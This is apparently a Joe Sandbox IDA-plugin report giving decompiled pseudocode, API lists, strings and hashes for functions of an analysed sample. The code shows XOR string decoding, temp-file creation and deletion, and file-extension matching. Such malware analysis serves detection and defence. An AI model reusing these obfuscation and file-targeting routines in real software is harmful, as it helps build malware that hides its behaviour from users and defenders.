					 *((char*)(_t404 + 0x30)) = 0x29;
					 *((char*)(_t404 + 0x31)) = 0xe3;
					 *((char*)(_t404 + 0x32)) = 0xcf;
					 *((char*)(_t404 + 0x33)) = 0xa3;
					 *((char*)(_t404 + 0x29)) = 0x9e;
					 *((char*)(_t404 + 0x2a)) = 0xa1;
					 *((char*)(_t404 + 0x2b)) = 0x94;
					 *((char*)(_t404 + 0x2c)) = 0xf;
					_push(E00419760(_t404 + 0x28));
					_push(_t376);
					E004258F3(_t387, _t414);
					_t282 =  *0x431e58; // 0x42
					_t197 =  *0x431e5c; // 0x42
					_t337 =  *0x431e60; // 0x42
					_t284 = _t282 -  *((intOrPtr*)(_t404 + 0x28)) ^ _t197 * 0x00000022;
					_t338 = _t337 + 0x45;
					 *0x431e58 = _t284;
					 *0x431e60 = _t338;
					_t405 = _t404 + 0x10;
					_t379 = 0x15 - _t264;
					 *0x431e64 = _t379;
					_t200 =  *((intOrPtr*)(_t398 + 0x1c));
					_t388 =  *_t200;
					_t415 = _t388 - _t200;
					if(_t388 != _t200) {
						while(1) {
							 *0x431e60 = (_t264 * 0x00000022 >> 0x00000020) - _t284 ^ _t264 * 0x00000022;
							_t383 =  *0x431e5c; // 0xf01c0042
							 *0x431e5c = _t383 | _t379 << 0x00000002 & _t284 & 0x000000ff;
							_push( *((intOrPtr*)(_t388 + 0x10)));
							_push( *((intOrPtr*)(_t388 + 0xc)));
							_push("%d:%d,");
							_push( *((intOrPtr*)(_t405 + 0x14)));
							_t264 = 0;
							E004258F3(_t388, _t415);
							_t405 = _t405 + 0x10;
							if( *((intOrPtr*)(_t388 + 0x15)) != 0) {
								goto L27;
							}
							_t248 =  *((intOrPtr*)(_t388 + 8));
							if( *((intOrPtr*)(_t248 + 0x15)) != 0) {
								_t249 =  *((intOrPtr*)(_t388 + 4));
								__eflags =  *((intOrPtr*)(_t249 + 0x15));
								if(__eflags == 0) {
									while(1) {
										__eflags = _t388 -  *((intOrPtr*)(_t249 + 8));
										if(__eflags != 0) {
											goto L26;
										}
										_t388 = _t249;
										_t249 =  *((intOrPtr*)(_t249 + 4));
										__eflags =  *((intOrPtr*)(_t249 + 0x15));
										if(__eflags == 0) {
											continue;
										}
										goto L26;
									}
								}
								L26:
								_t388 = _t249;
							} else {
								_t388 = _t248;
								_t250 =  *_t388;
								while( *((intOrPtr*)(_t250 + 0x15)) == 0) {
									_t388 = _t250;
									_t250 =  *_t388;
								}
							}
							L27:
							_t338 =  *0x431e60; // 0x42
							_t284 =  *0x431e58; // 0x42
							if(_t388 !=  *((intOrPtr*)(_t398 + 0x1c))) {
								_t379 =  *0x431e64; // 0x42
								continue;
							}
							goto L28;
						}
					}
					L28:
					 *0x431e5c =  *0x431e5c | (_t284 & 0x000000ff) << 0x00000002 & _t338 & 0x000000ff;
					 *0x431e64 = 0xa;
					_t380 =  *((intOrPtr*)( *((intOrPtr*)(_t398 + 4)) + 4));
					_t389 = _t380;
					if( *((intOrPtr*)(_t380 + 0x15)) == 0) {
						do {
							E00419A00(_t398,  *((intOrPtr*)(_t389 + 8)));
							_t389 =  *_t389;
							_push(_t380);
							L00424BCD();
							_t405 = _t405 + 4;
							_t380 = _t389;
						} while ( *((intOrPtr*)(_t389 + 0x15)) == 0);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t398 + 4)) + 4)) =  *((intOrPtr*)(_t398 + 4));
					 *(_t398 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t398 + 4)))) =  *((intOrPtr*)(_t398 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t398 + 4)) + 8)) =  *((intOrPtr*)(_t398 + 4));
					_t288 =  *0x431e58; // 0x42
					 *0x431e58 = _t288 + 0x9c;
					_t381 =  *((intOrPtr*)( *((intOrPtr*)(_t398 + 0x10)) + 4));
					_t390 = _t398 + 0xc;
					_t266 = ( *0x431e60 & 0x000000ff) + 0x10;
					 *((intOrPtr*)(_t405 + 0x18)) = _t381;
					while( *((intOrPtr*)(_t381 + 0x15)) == 0) {
						E00419A00(_t390,  *((intOrPtr*)(_t381 + 8)));
						_t381 =  *_t381;
						_push( *((intOrPtr*)(_t405 + 0x18)));
						L00424BCD();
						_t405 = _t405 + 4;
						 *((intOrPtr*)(_t405 + 0x18)) = _t381;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t390 + 4)) + 4)) =  *((intOrPtr*)(_t390 + 4));
					 *(_t390 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t390 + 4)))) =  *((intOrPtr*)(_t390 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t390 + 4)) + 8)) =  *((intOrPtr*)(_t390 + 4));
					_t290 =  *0x431e64; // 0xeffc0042
					_t392 =  *0x431e5c; // 0xf01c0042
					 *0x431e5c = _t392 | ( *0x431e58 & 0x000000ff) << 0x00000002 &  *0x431e60 & 0x000000ff;
					 *0x431e64 = _t290 * 0x64;
					_t382 =  *((intOrPtr*)( *((intOrPtr*)(_t398 + 0x1c)) + 4));
					_t394 = _t398 + 0x18;
					 *(_t405 + 0x13) = _t266 ^ 0x0000001d;
					 *((intOrPtr*)(_t405 + 0x18)) = _t382;
					while( *((intOrPtr*)(_t382 + 0x15)) == 0) {
						E00419A00(_t394,  *((intOrPtr*)(_t382 + 8)));
						_t382 =  *_t382;
						_push( *((intOrPtr*)(_t405 + 0x18)));
						L00424BCD();
						_t405 = _t405 + 4;
						_t426 =  *((intOrPtr*)(_t382 + 0x15));
						 *((intOrPtr*)(_t405 + 0x18)) = _t382;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t394 + 4)) + 4)) =  *((intOrPtr*)(_t394 + 4));
					 *(_t394 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t394 + 4)))) =  *((intOrPtr*)(_t394 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t394 + 4)) + 8)) =  *((intOrPtr*)(_t394 + 4));
					ReleaseMutex( *(_t398 + 0x24));
					_t292 =  *0x431e60; // 0x42
					 *0x431e60 = _t292 &  *(_t405 + 0x13);
					_push( *((intOrPtr*)(_t405 + 0x14)));
					 *0x431e58 = 0x47;
					 *0x431e64 = 0x15 - _t266;
					E004258A2(_t266, _t382,  *((intOrPtr*)(_t394 + 4)), _t426);
					_t396 = E004259AD(_t405 + 0x44, "rt");
					_t402 = _t405 + 0xc;
					_t427 = _t396;
					 *0x431e5c = 0x52;
					if(_t396 != 0) {
						_t301 =  *0x431e60; // 0x42
						 *0x431e58 =  *0x431e58 & 0x000000aa;
						 *0x431e64 =  *0x431e64 +  *((char*)(_t402 + 0x13));
						 *0x431e60 = _t301 -  *((intOrPtr*)(_t402 + 0x13)) ^ _t266 * 0x00000022;
						_push(_t396);
						_push( *((intOrPtr*)(_t402 + 0x254)) - 1);
						_push(1);
						_push( *((intOrPtr*)(_t402 + 0x250)));
						E0042580A(_t266,  *((intOrPtr*)(_t402 + 0x250)), _t382, _t396, _t427);
						_t355 =  *0x431e5c; // 0xf01c0042
						_push(_t396);
						_t266 = _t266 + 0x64;
						 *0x431e5c = _t355 & 0x00000064;
						E004258A2(_t266, _t382, _t396, _t266);
						_t402 = _t402 + 0x14;
					}
					_t296 =  *0x431e60; // 0x42
					_t297 = _t296 ^ 0x000000fd;
					 *0x431e60 = _t297;
					_t299 =  *0x431e5c; // 0xf01c0042
					 *0x431e58 = _t266 * 0x00000022 >> 0x00000020 ^ _t266 * 0x00000022;
					 *0x431e5c = _t299 |  *0x431e64 << 0x00000002 & _t297 & 0x000000ff;
					_t172 = DeleteFileA(_t402 + 0x40);
				}
				return E00424873(_t172,  *((intOrPtr*)(_t402 + 0x240)));
			}

0x00419ac0
0x00419ac6
0x00419acc
0x00419ace
0x00419ad8
0x00419adf
0x00419ae6
0x00419af2
0x00419af2
0x00419b01
0x00419b1b
0x00419b30
0x00419b32
0x00419b35
0x00419b37
0x00419b3b
0x00419b45
0x00419b49
0x00419b5d
0x00419b62
0x00419b67
0x00419b6c
0x00419b71
0x00419b76
0x00419b7b
0x00419b80
0x00419b85
0x00419b8a
0x00419b94
0x00419b95
0x00419b96
0x00419b9b
0x00419ba4
0x00419ba9
0x00419bab
0x00419bae
0x00419bb1
0x00419bb3
0x00419bb7
0x00419bb9
0x00419bc0
0x00419bc6
0x00419bc7
0x00419bc8
0x00419bcd
0x00419bce
0x00419bd3
0x00419bd9
0x00419bdf
0x00419bec
0x00419bf5
0x00419bfc
0x00419c03
0x00419c0a
0x00419c0f
0x00419c13
0x00419c13
0x00419bc0
0x00419c1a
0x00419c1e
0x00419c26
0x00419c28
0x00419c2d
0x00419c32
0x00419c37
0x00419c3c
0x00419c41
0x00419c46
0x00419c4b
0x00419c50
0x00419c55
0x00419c5a
0x00419c64
0x00419c65
0x00419c66
0x00419c72
0x00419c80
0x00419c84
0x00419c87
0x00419c89
0x00419c8c
0x00419c8e
0x00419c90
0x00419c96
0x00419c97
0x00419c98
0x00419c9d
0x00419c9e
0x00419ca3
0x00419ca8
0x00419cb6
0x00419cc2
0x00419cc7
0x00419cc9
0x00419ccb
0x00419cd3
0x00419ced
0x00419cf3
0x00419cf5
0x00419cf7
0x00419cf7
0x00419cfa
0x00000000
0x00000000
0x00419cfc
0x00419cfe
0x00419d04
0x00419d06
0x00000000
0x00000000
0x00000000
0x00419d06
0x00419cf7
0x00419d08
0x00419d08
0x00419cd5
0x00419cd5
0x00419cd7
0x00419cde
0x00419ce0
0x00419ce2
0x00419ce7
0x00419cde
0x00419cd3
0x00419d0a
0x00419d0a
0x00419c90
0x00419d11
0x00419d15
0x00419d1d
0x00419d1f
0x00419d24
0x00419d29
0x00419d2e
0x00419d33
0x00419d38
0x00419d3d
0x00419d42
0x00419d47
0x00419d51
0x00419d52
0x00419d53
0x00419d5c
0x00419d64
0x00419d6d
0x00419d73
0x00419d7e
0x00419d81
0x00419d87
0x00419d8d
0x00419d90
0x00419d92
0x00419d99
0x00419d9c
0x00419d9e
0x00419da0
0x00419db0
0x00419dba
0x00419dc3
0x00419dd7
0x00419de3
0x00419de4
0x00419de5
0x00419dea
0x00419deb
0x00419ded
0x00419df5
0x00419dfa
0x00000000
0x00000000
0x00419dfc
0x00419e04
0x00419e1e
0x00419e24
0x00419e26
0x00419e28
0x00419e28
0x00419e2b
0x00000000
0x00000000
0x00419e2d
0x00419e2f
0x00419e35
0x00419e37
0x00000000
0x00000000
0x00000000
0x00419e37
0x00419e28
0x00419e39
0x00419e39
0x00419e06
0x00419e06
0x00419e08
0x00419e0f
0x00419e11
0x00419e13
0x00419e18
0x00419e0f
0x00419e3b
0x00419e3e
0x00419e44
0x00419e4a
0x00419da8
0x00000000
0x00419da8
0x00000000
0x00419e4a
0x00419db0
0x00419e50
0x00419e5b
0x00419e61
0x00419e6d
0x00419e75
0x00419e77
0x00419e80
0x00419e86
0x00419e8b
0x00419e8d
0x00419e8e
0x00419e96
0x00419e9b
0x00419e9b
0x00419e80
0x00419ea2
0x00419ea8
0x00419eaf
0x00419eb4
0x00419eb7
0x00419ec7
0x00419ed0
0x00419ed6
0x00419ed9
0x00419ede
0x00419ee2
0x00419eea
0x00419ef3
0x00419ef5
0x00419ef6
0x00419efe
0x00419f03
0x00419f03
0x00419f0c
0x00419f12
0x00419f19
0x00419f1e
0x00419f21
0x00419f38
0x00419f45
0x00419f4b
0x00419f55
0x00419f58
0x00419f5f
0x00419f68
0x00419f6c
0x00419f76
0x00419f7f
0x00419f81
0x00419f82
0x00419f8a
0x00419f8d
0x00419f8f
0x00419f8f
0x00419f98
0x00419f9e
0x00419fa5
0x00419faa
0x00419fb1
0x00419fb7
0x00419fc7
0x00419fd4
0x00419fd5
0x00419fdc
0x00419fe3
0x00419ff7
0x00419ff9
0x00419ffc
0x00419ffe
0x0041a008
0x0041a00a
0x0041a023
0x0041a030
0x0041a037
0x0041a044
0x0041a046
0x0041a047
0x0041a049
0x0041a04a
0x0041a04f
0x0041a058
0x0041a059
0x0041a05c
0x0041a062
0x0041a067
0x0041a067
0x0041a075
0x0041a08c
0x0041a08f
0x0041a09d
0x0041a0a3
0x0041a0b0
0x0041a0b6
0x0041a0bd
0x0041a0d2

APIs

GetTempPathA.KERNEL32(00000104,?,74E06980), ref: 00419B01
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00419B1B
WaitForSingleObject.KERNEL32(00000014,000000FF,00000000,000000EE), ref: 00419B49
ReleaseMutex.KERNEL32(00000014,?,?,?,00000005,?,?,?,00000006,?,?), ref: 00419FB1
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,00000005,?,?,?,00000006,?,?), ref: 0041A0B6

Strings

Z, xrefs: 00419B5D
A, xrefs: 00419C3C
%d:%d,, xrefs: 00419BC8, 00419C98, 00419DE5
G@,, xrefs: 00419AC6
), xrefs: 00419D24
u, xrefs: 00419C41
5, xrefs: 00419C5A
P, xrefs: 00419B67
t, xrefs: 00419B71
H, xrefs: 00419C46
7, xrefs: 00419C4B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: FileTemp$DeleteMutexNameObjectPathReleaseSingleWait
String ID: %d:%d,$)$5$7$A$G@,$H$P$Z$t$u
API String ID: 3931662400-4184456309
Opcode ID: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction ID: 87167e95f2216398dbb744b78034f6cdc2098f1725ccaa65e6176ba6f2cbe2f0
Opcode Fuzzy Hash: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction Fuzzy Hash: F902F2351083908FC721CF28D8A1AE7BFE0AF96314F48965DE8D5473A2D375D849CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004056D7, Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 135
stringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E004056D7(signed int __ebx, void* __ecx, intOrPtr __edi, void* __esi, intOrPtr __ebp, signed int _a16, signed int _a17, signed int _a18, signed int _a19, char _a20, char _a24, char _a28, char _a36, char _a40, char _a44, char _a48, char _a52, char _a56, char _a60, char _a64, signed char _a68, signed char _a69, signed char _a70, signed char _a71, char _a72, char _a76, char _a77, char _a78, char _a79, char _a84, char _a85, char _a86, char _a87, char _a88, char _a92, char _a93, char _a94, char _a95, char _a96, char _a100, char _a101, char _a102, char _a103, char _a104, char _a108, char _a112, char _a120, intOrPtr _a124, char* _a128, char* _a132, intOrPtr _a136, char* _a140, char* _a144, char* _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, char* _a172, char* _a176, char* _a180, char* _a184, intOrPtr _a188, char* _a192, char* _a196, char* _a200, char* _a204, char* _a208, intOrPtr _a212, char* _a216, signed char* _a220, char* _a224, signed int* _a228, char* _a232, char* _a236, intOrPtr _a240, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a260, intOrPtr _a268, intOrPtr _a276) {
				char _t104;
				void* _t119;
				signed int _t125;
				void* _t128;
				void* _t161;
				void* _t162;
				CHAR* _t164;
				void* _t168;
				void* _t169;

				_t161 = __esi;
				_t128 = __ecx;
				_t125 = __ebx;
				do {
					_t104 =  *((intOrPtr*)(_t168 + _t128 + 0x10));
					 *((char*)(_t168 + _t128 + 0x10)) =  *((intOrPtr*)(_t168 + _t161 + 0x10));
					_t128 = _t128 + 1;
					 *((char*)(_t168 + _t161 + 0x10)) = _t104;
					_t161 = _t161 - 1;
				} while (_t128 < _t161);
				_a68 = _a16 ^ 0x000000d4;
				_a69 = _a17 ^ 0x00000019;
				_a70 = _a18 ^ 0x000000c7;
				_a71 = _a19 ^ 0x000000dc;
				_a136 = _a124;
				_a128 =  &_a88;
				_a132 =  &_a40;
				_a140 =  &_a108;
				_a144 =  &_a48;
				_a148 =  &_a260;
				_a152 =  &_a96;
				_a156 =  &_a56;
				_a160 =  &_a244;
				_a164 =  &_a112;
				_a168 =  &_a64;
				_a172 =  &_a104;
				_a176 =  &_a72;
				_a180 =  &_a120;
				_a184 =  &_a20;
				_a192 =  &_a24;
				_a196 =  &_a28;
				_a200 =  &_a36;
				 *0x431c84 = 6;
				_a76 = 0x70;
				_a77 = 0x68;
				_a78 = 0x70;
				_a79 = __ebx;
				_a16 = 0x70;
				_a17 = 0x6c;
				_a18 = __ebx;
				_a84 = 0x73;
				_a85 = 0x68;
				_a86 = 0x74;
				_a87 = __ebx;
				_a252 = 0x73;
				_a253 = 0x68;
				_a254 = 0x74;
				_a255 = 0x6d;
				_a256 = __ebx;
				_a92 = 0xc3;
				_a93 = 0x49;
				_a94 = 0xc5;
				_a95 = 0x38;
				_a100 = 0xef;
				_a101 = 0x9c;
				_a102 = 0xe8;
				_a103 = 0x85;
				_a188 = __edi;
				_a204 =  &_a44;
				_a208 =  &_a52;
				_a212 = __ebp;
				_a216 =  &_a60;
				_a220 =  &_a68;
				_a228 =  &_a16;
				_a224 =  &_a76;
				_a232 =  &_a84;
				_push(4);
				_push( &_a92);
				_a236 =  &_a252;
				_a240 = E00405290( &_a100);
				_t119 = E00425420(_a276, _a276, 0x2e);
				_t169 = _t168 + 0x10;
				_t162 = _t119;
				if(_t162 == __ebx) {
					L6:
					return E00424873(0, _a268);
				} else {
					_t164 = _t162 + 1;
					while(lstrcmpiA(_t164,  *(_t169 + 0x7c + _t125 * 4)) != 0) {
						_t125 = _t125 + 1;
						if(_t125 < 0x1d) {
							continue;
						} else {
							goto L6;
						}
						goto L8;
					}
					return E00424873(1, _a268);
				}
				L8:
			}

0x004056d7
0x004056d7
0x004056d7
0x004056e0
0x004056e4
0x004056e8
0x004056ec
0x004056ed
0x004056f1
0x004056f2
0x00405704
0x00405714
0x00405718
0x0040571c
0x00405724
0x0040572f
0x0040573a
0x00405745
0x00405750
0x0040575e
0x00405769
0x00405774
0x00405782
0x00405795
0x0040579c
0x004057a3
0x004057b6
0x004057bd
0x004057c4
0x004057d7
0x004057de
0x004057e5
0x004057f8
0x004057ff
0x00405804
0x00405809
0x0040580e
0x00405812
0x00405817
0x0040581c
0x00405820
0x00405825
0x0040582a
0x0040582f
0x00405833
0x0040583b
0x00405843
0x0040584b
0x00405853
0x0040585a
0x0040585f
0x00405864
0x00405869
0x0040586e
0x00405873
0x00405878
0x0040587d
0x00405882
0x00405889
0x00405890
0x00405897
0x0040589e
0x004058a9
0x004058b8
0x004058c3
0x004058ce
0x004058dc
0x004058de
0x004058e3
0x004058f9
0x00405900
0x00405905
0x00405908
0x0040590d
0x00405928
0x0040593f
0x0040590f
0x00405915
0x00405916
0x00405922
0x00405926
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405926
0x0040595a
0x0040595a
0x00000000

APIs

_strrchr.LIBCMT ref: 00405900
lstrcmpiA.KERNEL32(00000001,?), ref: 0040591C

Strings

p, xrefs: 004057FF
s, xrefs: 00405833
s, xrefs: 00405820
8, xrefs: 00405869
h, xrefs: 0040583B
p, xrefs: 00405809
t, xrefs: 00405843
I, xrefs: 0040585F
l, xrefs: 00405817
m, xrefs: 0040584B
h, xrefs: 00405804
h, xrefs: 00405825
t, xrefs: 0040582A
p, xrefs: 00405812

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: _strrchrlstrcmpi
String ID: 8$I$h$h$h$l$m$p$p$p$s$s$t$t
API String ID: 2999501412-836531014
Opcode ID: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction ID: 3f20e5aee60d72e1d420386b93ed5b1cec2b7467db128eb5dee041a04ac3d7e4
Opcode Fuzzy Hash: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction Fuzzy Hash: B771C07540D3C28AD326CB288040B9BFBE1ABD6204F448E6EE5D947391E7B59109CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3E3, Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 115
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 71%

			E0042A3E3() {
				intOrPtr _t20;
				int _t21;
				long _t24;
				void* _t31;
				void* _t51;
				long _t52;
				void* _t57;
				signed int _t67;
				void** _t69;
				void* _t70;
				void* _t72;
				void* _t73;

				_t70 = _t72 - 0x8c;
				_t73 = _t72 - 0x10c;
				_t20 =  *0x4310d8; // 0x2c0d4047
				_t52 =  *(_t70 + 0x94);
				 *((intOrPtr*)(_t70 + 0x88)) = _t20;
				_t21 = 0;
				while(_t52 !=  *((intOrPtr*)(0x4317e0 + _t21 * 8))) {
					_t21 = _t21 + 1;
					if(_t21 < 0x13) {
						continue;
					}
					break;
				}
				_t67 = _t21 << 3;
				_t6 = _t67 + 0x4317e0; // 0xc0000000
				if(_t52 ==  *_t6) {
					_t21 =  *0x432048; // 0x0
					if(_t21 == 1 || _t21 == 0 &&  *0x431114 == 1) {
						_t17 = _t67 + 0x4317e4; // 0x42eec0
						_t69 = _t17;
						_t24 = E004263F0( *_t69);
						_t21 = WriteFile(GetStdHandle(0xfffffff4),  *_t69, _t24, _t70 + 0x94, 0);
					} else {
						if(_t52 != 0xfc) {
							 *((char*)(_t70 + 0x84)) = 0;
							if(GetModuleFileNameA(0, _t70 - 0x80, 0x104) == 0) {
								E00427340(_t70 - 0x80, "<program name unknown>");
							}
							_t63 = _t70 - 0x80;
							if(E004263F0(_t70 - 0x80) + 1 > 0x3c) {
								E00425B10(E004263F0(_t63) + _t70 - 0x45, "...", 3);
								_t73 = _t73 + 0x10;
							}
							_t31 = E004263F0(_t63);
							_t12 = _t67 + 0x4317e4; // 0x42eec0
							_t14 = E004263F0( *_t12) + 0x1c; // 0x1c
							_pop(_t57);
							E004254B0(_t31 + _t14 + 0x00000003 & 0xfffffffc, _t57);
							_t51 = _t73;
							E00427340(_t51, "Runtime Error!\n\nProgram: ");
							E00427350(_t51, _t63);
							E00427350(_t51, "\n\n");
							_t15 = _t67 + 0x4317e4; // 0x42eec0
							E00427350(_t51,  *_t15);
							_push(0x12010);
							_push("Microsoft Visual C++ Runtime Library");
							_push(_t51);
							_t21 = E0042ADD1();
						}
					}
				}
				return E00424873(_t21,  *((intOrPtr*)(_t70 + 0x88)));
			}

0x0042a3e4
0x0042a3eb
0x0042a3f1
0x0042a3f6
0x0042a3fe
0x0042a407
0x0042a409
0x0042a412
0x0042a416
0x00000000
0x00000000
0x00000000
0x0042a416
0x0042a41a
0x0042a41d
0x0042a423
0x0042a429
0x0042a431
0x0042a51e
0x0042a51e
0x0042a526
0x0042a538
0x0042a448
0x0042a44e
0x0042a45e
0x0042a46c
0x0042a477
0x0042a47d
0x0042a47e
0x0042a48e
0x0042a4aa
0x0042a4af
0x0042a4af
0x0042a4b3
0x0042a4b8
0x0042a4c5
0x0042a4cd
0x0042a4d1
0x0042a4d6
0x0042a4de
0x0042a4e5
0x0042a4f0
0x0042a4f5
0x0042a4fc
0x0042a501
0x0042a506
0x0042a50b
0x0042a50c
0x0042a511
0x0042a44e
0x0042a431
0x0042a559

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0042A464
_strcat.LIBCMT ref: 0042A477
_strlen.LIBCMT ref: 0042A484
_strlen.LIBCMT ref: 0042A493
_strncpy.LIBCMT ref: 0042A4AA
_strlen.LIBCMT ref: 0042A4B3
_strlen.LIBCMT ref: 0042A4C0
_strcat.LIBCMT ref: 0042A4DE
_strlen.LIBCMT ref: 0042A526
GetStdHandle.KERNEL32(000000F4,0042EEC0,00000000,?,00000000,00000000,00000000,00000000), ref: 0042A531
WriteFile.KERNEL32(00000000), ref: 0042A538

Strings

Runtime Error!Program: , xrefs: 0042A4D8
Microsoft Visual C++ Runtime Library, xrefs: 0042A506
G@,, xrefs: 0042A3F1
..., xrefs: 0042A4A4
<program name unknown>, xrefs: 0042A471

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
String ID: ...$<program name unknown>$G@,$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3601721357-621894803
Opcode ID: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction ID: 74c76adfd133b4e9a18e4e1925237b71ce4d4ae5635836e3a3127bb511270d61
Opcode Fuzzy Hash: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
Instruction Fuzzy Hash: 763128327401246BD720BBB6BC86EAB73A8EB44308F94042FFD15D3152EA7C9595C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00408250, Relevance: 28.1, APIs: 1, Strings: 15, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408250(void* __ecx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v12;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t53;
				void* _t55;
				intOrPtr* _t58;
				intOrPtr _t65;
				void* _t72;
				void* _t74;
				char* _t75;

				_t75 =  &_v304;
				_t53 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t53;
				_t74 = __ecx;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x98;
				_v268 = 0xe6;
				_v267 = 0xd6;
				_t55 = 0;
				do {
					_t75[_t55 + 4] = _t75[_t55 + 4] ^ _t75[_t55 + 0x18];
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t58 =  &_v264;
				_t72 = _t58 + 1;
				do {
					_t65 =  *_t58;
					_t58 = _t58 + 1;
				} while (_t65 != 0);
				return E00424873(E004028A0(_t74 + 0x38,  &_v264, _t58 - _t72), _v12);
			}

0x00408250
0x00408256
0x0040825b
0x00408265
0x00408269
0x0040826d
0x00408271
0x00408276
0x0040827b
0x00408280
0x00408285
0x0040828a
0x0040828e
0x00408293
0x00408298
0x0040829d
0x004082a2
0x004082a7
0x004082ac
0x004082b1
0x004082b6
0x004082bb
0x004082c0
0x004082c5
0x004082ca
0x004082cf
0x004082d4
0x004082d9
0x004082dd
0x004082e2
0x004082e7
0x004082ec
0x004082f1
0x004082f6
0x004082fb
0x00408300
0x00408305
0x0040830a
0x0040830f
0x00408314
0x00408319
0x0040831e
0x00408323
0x00408325
0x0040832f
0x00408333
0x00408334
0x00408348
0x0040834e
0x00408352
0x00408355
0x00408355
0x00408357
0x00408358
0x0040837f

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,00000104,00000104), ref: 00408348

Strings

x, xrefs: 00408285
t, xrefs: 00408305
z, xrefs: 004082A7
F, xrefs: 0040830A
Y, xrefs: 0040827B
^, xrefs: 004082CA
', xrefs: 00408293
0, xrefs: 004082B1
m, xrefs: 004082CF
:, xrefs: 00408276
G@,, xrefs: 00408256
h, xrefs: 004082F1
{, xrefs: 00408271
<, xrefs: 004082DD
4, xrefs: 00408298

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
